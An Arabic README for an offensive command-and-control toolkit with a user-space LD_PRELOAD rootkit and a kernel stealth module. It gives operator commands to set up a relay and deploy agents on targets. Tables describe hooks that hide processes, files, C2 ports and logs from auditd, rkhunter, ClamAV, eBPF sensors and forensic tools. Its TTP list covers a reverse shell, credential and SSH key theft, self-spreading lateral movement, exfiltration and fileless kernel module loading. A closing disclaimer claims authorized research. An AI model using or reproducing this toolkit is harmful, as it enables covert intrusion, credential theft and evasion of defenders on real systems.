### 2. الإعداد```bash
cp build.env.example build.env
nano build.env      # RELAY_IP, SECRET, BAT_KEY, CDN_DOMAIN

الملفات الثنائية تستقر في `bin/`.

### 4. تشغيل المرحّل```bash
# on the relay VPS (as root)
sudo bash -s -- --tg-token $TG_TOKEN --tg-chat-id $TG_CHAT_ID < relay/setup.sh

# from the operator machine
source build.env
relay/sync.sh ubuntu@$RELAY_IP --key $BAT_KEY --restart-kcc --tg
scp -i $BAT_KEY bin/netshell-v11-{x86_64,arm64} ubuntu@$RELAY_IP:/var/www/nexus/agents/

انشر وكيلًا على الهدف:```bash
sudo setsid /path/to/bat-agent-v11-x86_64 </dev/null >/tmp/.log 2>&1 &
disown

| المكوّن | الدور |
|---|---|
| `bat-agent` | وكيل. يُرسل إشارات beacon وينفّذ TTPs. مُعمّى عبر Garble. |
| `bat-server` | وحدة تحكم المشغِّل. CLI تفاعلية. يدير جميع الوكلاء. |
| `netshell` | ثنائي توصيل. يبدو كأداة نظام؛ وهو وكيل كامل. |
| `bat-rootkit.so` | روتكيت في فضاء المستخدم عبر LD_PRELOAD. يخفي الملفات وPIDs والمنافذ والمتغيرات البيئية. |
| `bat-stealth.ko` | طبقة تمويه في النواة (مبنية على Singularity). |
| `kcc-server` | خدمة ترحيل. يُجمّع `bat-stealth.ko` عند الطلب للنواة قيد التشغيل على الهدف. |
| `relay/` | البنية التحتية للترحيل: nginx وTLS وsetup والمزامنة وسكربتات التوصيل. |

---

## الدفاعات التي تم تجاوزها

| الفئة | الدفاع | آلية التجاوز |
|---|---|---|
| مراقبة العمليات | `ps` / `top` / سرد `/proc` | خطاف `getdents64` يزيل إدخالات PIDs الخاصة بالوكيل من procfs قبل أن يقرأها فضاء المستخدم |
| مراقبة العمليات | `/proc/<pid>/status`, `/proc/<pid>/cmdline` | خطاف `filldir` يفلتر بادئات PID من جميع نتائج readdir |
| نظام الملفات | `ls` / `find` عبر ملفات ودلائل الوكيل | `hiding_fs.c`: خطافات `getdents64`/`getdents` على المسارات المستهدفة؛ يتم ضبط nlink الخاص بـ stat ليطابق ذلك |
| نظام الملفات | كشف `lsattr` / `chattr` | `hiding_fs.c`: اعتراض `ioctl` على مسارات ملفات الوكيل |
| نظام الملفات | سرد `/proc/modules` / `lsmod` | `hiding_module.c`: يزيل إدخال `bat-stealth.ko` من جميع قوائم الوحدات في sysfs وprocfs |
| الشبكة | عرض المنافذ عبر `ss` / `netstat` | `hiding_net.c`: خطافات `tcp4_seq_show`/`tcp6_seq_show` تزيل إدخالات منفذ C2 من المخرجات |
| الشبكة | `/proc/net/tcp`, `/proc/net/tcp6` | `hiding_net.c`: اعتراض قراءة seq_file يُسقط صفوف مقابس C2 |
| السجلات | مسار الكتابة إلى `syslog` / `journald` | `hooks_write.c`: اعتراض `write`/`splice`/`sendfile`/`tee`؛ تُتجاهل إدخالات السجل المطابقة لسلاسل الوكيل داخل النواة |
| السجلات | مسار الكتابة غير المتزامن في `io_uring` | `hooks_write.c`: اعتراض `io_uring_enter`/`io_uring_enter2`؛ مع تغطية مسار التوافق ia32 |
| أمان النواة | `rkhunter` / `chkrootkit` | الوحدة مخفية عن `/proc/modules`؛ ملفات الوكيل مخفية عن نظام الملفات؛ تم التحقق من عدم وجود أي تحذيرات |
| أمان النواة | ClamAV | تعمية Garble `-literals -tiny` + عدم وجود سلاسل نصية واضحة مدمجة؛ تم التحقق من 0 اكتشافات (DB 2026-04-20) |
| EDR / eBPF | مستشعرات مبنية على eBPF تقرأ `/proc` | خطافات الإخفاء تعترض على مستوى النواة قبل إنتاج أحداث eBPF ring buffer |
| فحص النواة | `ftrace` / `kprobes` على رموز الوكيل | وحدة `selfdefense` تمنع إرفاق kprobe بعناوين دوال الوكيل |
| الأدلة الجنائية للنواة | الحصول على الذاكرة عبر LiME | `selfdefense` يمنع تحميل وحدة LiME والوصول إلى جهاز الذاكرة الخام |
| الأدلة الجنائية للنواة | تفريغ المهام عبر SysRq-T | `sysrq_hook` يستبعد العمليات المخفية من قائمة المهام التي يكتبها SysRq-T |
| الأدلة الجنائية للنواة | NETLINK taskstats | `taskstats_hook` يفلتر استجابات taskstats NETLINK الخاصة بـ PIDs المخفية |
| تكامل النواة | إنفاذ LKRG | `lkrg_bypass` يكبت تسليم LKRG لإشارة `SIGKILL` ويُسقط رسائل سجل LKRG |
| نظام التدقيق | تسجيل استدعاءات النظام عبر `auditd` | وحدة `audit` تكبت أحداث التدقيق لجميع PIDs المخفية على طبقة تدقيق النواة |

---

## خطافات استدعاءات النظام

يتم تثبيت جميع الخطافات بواسطة `bat-stealth.ko` عبر ftrace عند التحميل. تُضمَّن إدخالات ia32 فقط على x86_64 (`#ifdef ARCH_SYS_IA32`).

| استدعاء النظام / الدالة | الوحدة | الغرض |
|---|---|---|
| `getdents64` | `hiding_procs.c` | إخفاء PIDs الخاصة بالوكيل من قوائم دلائل `/proc` |
| `getdents` | `hiding_procs.c` | توافق 32-بت: إخفاء PIDs الخاصة بالوكيل |
| `filldir` (readdir) | `hiding_procs.c` | مرشح إضافي لإدخالات proc للمستدعين القدامى عبر readdir |
| `getdents64` | `hiding_fs.c` | إخفاء ملفات الوكيل من قوائم الدلائل |
| `getdents` | `hiding_fs.c` | توافق 32-بت: إخفاء ملفات الوكيل |
| `ia32_getdents64` | `hiding_fs.c` | استدعاء نظام متوافق مع ia32 |
| `ia32_getdents` | `hiding_fs.c` | استدعاء نظام متوافق مع ia32 |
| `ia32_stat` / `ia32_lstat` / `ia32_fstat` | `hiding_fs.c` | اعتراضات stat بإصدار 32-بت للمسارات المخفية |
| `ia32_open` / `ia32_openat` / `ia32_access` | `hiding_fs.c` | اعتراضات open/access بإصدار 32-بت |
| `ia32_readlink` | `hiding_fs.c` | اعتراض readlink بإصدار 32-بت |
| `ia32_chdir` | `hiding_fs.c` | اعتراض chdir بإصدار 32-بت |
| `ioctl` | `hiding_fs.c` | اعتراض ioctl الخاص بـ `lsattr`/`chattr` على مسارات الوكيل |
| `tcp4_seq_show` | `hiding_net.c` | إخفاء إدخالات منفذ C2 من `/proc/net/tcp` |
| `tcp6_seq_show` | `hiding_net.c` | إخفاء إدخالات منفذ C2 من `/proc/net/tcp6` |
| `bpf` | `bpf_hook.c` | تصفير التليمترية للـ PIDs المخفية في جميع برامج eBPF |
| `write` | `hooks_write.c` | إسقاط إدخالات السجل التي تحتوي على سلاسل الوكيل قبل وصولها إلى syslog |
| `splice` | `hooks_write.c` | نفس الاعتراض عبر مسار splice |
| `sendfile` | `hooks_write.c` | نفس الاعتراض عبر مسار sendfile |
| `tee` | `hooks_write.c` | نفس الاعتراض عبر مسار tee |
| `io_uring_enter` | `hooks_write.c` | اعتراض الكتابة غير المتزامنة عبر io_uring |
| `io_uring_enter2` | `hooks_write.c` | اعتراض الكتابة غير المتزامنة عبر io_uring (استدعاء النظام v2) |
| `sched_process_fork` (tracepoint) | `pid_manager.c` | توريث الحالة المخفية عبر `fork`/`clone` |
| `vprintk_emit` | `lkrg_bypass.c` | إسقاط رسائل سجل النواة الخاصة بـ LKRG |
| `finit_module` / `init_module` | الوكيل (محمّل kcc) | تحميل وحدة نواة بدون ملف عبر `memfd_create` + واصف ملف مجهول |

---

## مرجع TTP

| TTP | الاسم | الوصف |
|---|---|---|
| 1 | masquerade | إعادة تسمية comm الخاص بالعملية إلى `kworker/0:1` (أو مخصص) |
| 2 | reverse_shell | شل TCP عكسي إلى relay:4445 |
| 3 | memory_rwx | تخصيص ذاكرة RWX مجهولة (اختبار كشف) |
| 4 | shell_exec | تنفيذ أمر شل عشوائي |
| 5 | beacon | فرض إجراء فحص إضافي فوري |
| 6 | persist | تثبيت الثبات (cron / systemd / rc.local / openrc / profile / XDG autostart) |
| 7 | creddump | جمع `/etc/shadow` وسجل bash والأسرار البيئية وAWS IMDS |
| 9 | exec_chain | إنشاء سلسلة عمليات (اختبار كشف) |
| 10 | install_rootkit | نشر `bat-rootkit.so` عبر `/etc/ld.so.preload` |
| 11 | inject + exit | حقن خيوط beacon + rawsock في عملية حية، ثم الخروج الذاتي |
| 20 | network_recon | جدول ARP + فحص TCP :22 للشبكة الفرعية المحلية |
| 21 | ssh_harvest | جمع المفاتيح الخاصة وknown_hosts وauthorized_keys والملفات الإعدادية |
| 22 | lateral_move | نسخ الذات عبر SCP إلى المضيف المكتشف عبر SSH وتنفيذها بشكل منفصل |
| 23 | creddump_full | جمع موسّع للاعتمادات + بصمة البيئة |
| 30 | exfil-file | قراءة ملف عشوائي وإرسال أجزاء base64 عبر قناة beacon |
| 31 | exfil-dir | ضغط دليل بـ Tar+gzip وتسريبه عبر قناة beacon |
| 32 | exfil-auto | مراقبة المسارات المكوَّنة والتسريب التلقائي عند التغيير |
| 34 | netmap | فحص CIDR /16 للمضيفات النشطة والمنافذ المفتوحة |
| 35 | autospread | حركة جانبية عبر SSH إلى المضيفات المكتشفة باستخدام المفاتيح المجمَّعة؛ ينسخ الوكيل وينفذه بشكل منفصل |
| 36 | smbprobe | اختبار منفذ SMB (:445) لمرشحي الحركة الجانبية |
| 99 | kill | إنهاء ذاتي صامت |
| 222 | destruct | إزالة جميع الآثار ومسح الذاكرة والخروج |
| 1003 | K-03 (تصعيد الصلاحيات) | إشارة النواة 59 تُطلق `commit_creds` إلى uid=0 |
| 1099 | K-99 (إلغاء التحميل) | إلغاء تحميل `bat-stealth.ko` على مرحلتين عبر sysfs + استدعاء `delete_module(2)` الخام |

أوامر وحدة التحكم (في موجه `bat-server`):
- `kill`: TTP 99 لجميع الوكلاء
- `destruct`: TTP 222 لجميع الوكلاء
- `destruct @<agentID>`: مسح موجَّه

---

### KCC: كاش تجميع النواة

يتم تجميع `bat-stealth.ko` عند الطلب للنواة قيد التشغيل على الهدف. يقوم الوكيل بأتمتة التدفق الكامل في وقت التشغيل؛ لا حاجة لوحدة مبنية مسبقًا لكل هدف:

1. **اكتشاف النواة**: يقرأ الوكيل `/proc/version` للحصول على سلسلة `uname -r` الدقيقة.
2. **طلب التجميع**: يرسل الوكيل سلسلة النواة إلى `kcc-server` (`:9444`) عبر POST مع طلب موقّع بـ HMAC.
3. **يقوم kcc-server بالتجميع**: يبني الخادم `bat-stealth.ko` مقابل رؤوس النواة المطابقة ويخزّن النتيجة مؤقتًا حسب تجزئة النواة.
4. **استلام وحدات البايت للوحدة**: يتم إرجاع `.ko` المترجم في نص الاستجابة.
5. **تحميل بدون ملف**: ينشئ الوكيل ملف ذاكرة مجهول (`memfd_create`، استدعاء النظام 279 على x86_64 / 319 على ARM64)، ويكتب وحدات بايت الوحدة، ثم يستدعي `finit_module` (استدعاء النظام 273 / 313) بسلسلة معاملات فارغة.
6. **التسجيل**: تسجّل الوحدة جميع الخطافات وتخفي نفسها عن sysfs/procfs في غضون ميلي ثانية.

لا تتم كتابة أي ملف `.ko` على القرص في أي مرحلة. تختفي الوحدة من `/proc/modules` فور التحميل.

**الحد الأدنى للنواة:** 6.x (استكشاف K-00؛ يتخطى الوكيل التحميل الخفي على النوى الأقدم).  
**تم الاختبار على:** 6.1.0 (Debian 12 / Ubuntu LTS)، 6.8.0 (Ubuntu 22.04 GCP).

---

## ملفات البناء```bash
make lab SECRET=<hex>          # direct: agent -> relay:9443, UDP trigger
make cdn SECRET=<hex>          # CDN: agent -> edge proxy -> relay:443
make singularity SECRET=<hex>  # ICMP trigger only, no UDP port exposure

تُكتب بيانات الاعتماد إلى `/etc/bat/tg.env` على المُرحِّل وتُعمَّم على جميع أهداف المزامنة عبر `sync.sh --tg`. تبدأ الخدمة تلقائيًا وتستمر في العمل بعد إعادة تشغيل المُرحِّل.

---

## إخلاء مسؤولية

تم تطوير هذا البرنامج حصريًا لأغراض أبحاث الأمن المصرح بها، ومحاكاة الخصوم في بيئات المختبرات الخاضعة للرقابة، وتطوير قدرات الكشف والاستجابة. يحتوي على تطبيقات وظيفية لتقنيات هجومية تشمل أحصنة الجذور على مستوى النواة، وحقن العمليات، وجمع بيانات الاعتماد، والحركة الجانبية. يُعد نشر هذا البرنامج على أي نظام دون إذن كتابي صريح من مالك النظام أمرًا غير قانوني بموجب قوانين الاحتيال وإساءة استخدام الحاسوب المعمول بها في معظم الدول.

لا يتحمل المؤلفون أي مسؤولية عن أي أضرار أو عواقب قانونية أو ضرر ناتج عن الاستخدام غير المصرح به أو المهمل أو الخبيث لهذا البرنامج. باستخدامك لهذا البرنامج، فأنت تقرّ بأنك مختص أمني مؤهل تعمل ضمن نطاق قانوني مصرح به، وأن المسؤولية القانونية والأخلاقية الكاملة عن استخدامه تقع عليك وحدك.

لا يجوز إعادة توزيع هذا البرنامج أو نشره أو الكشف عنه لأي طرف ثالث دون موافقة كتابية مسبقة.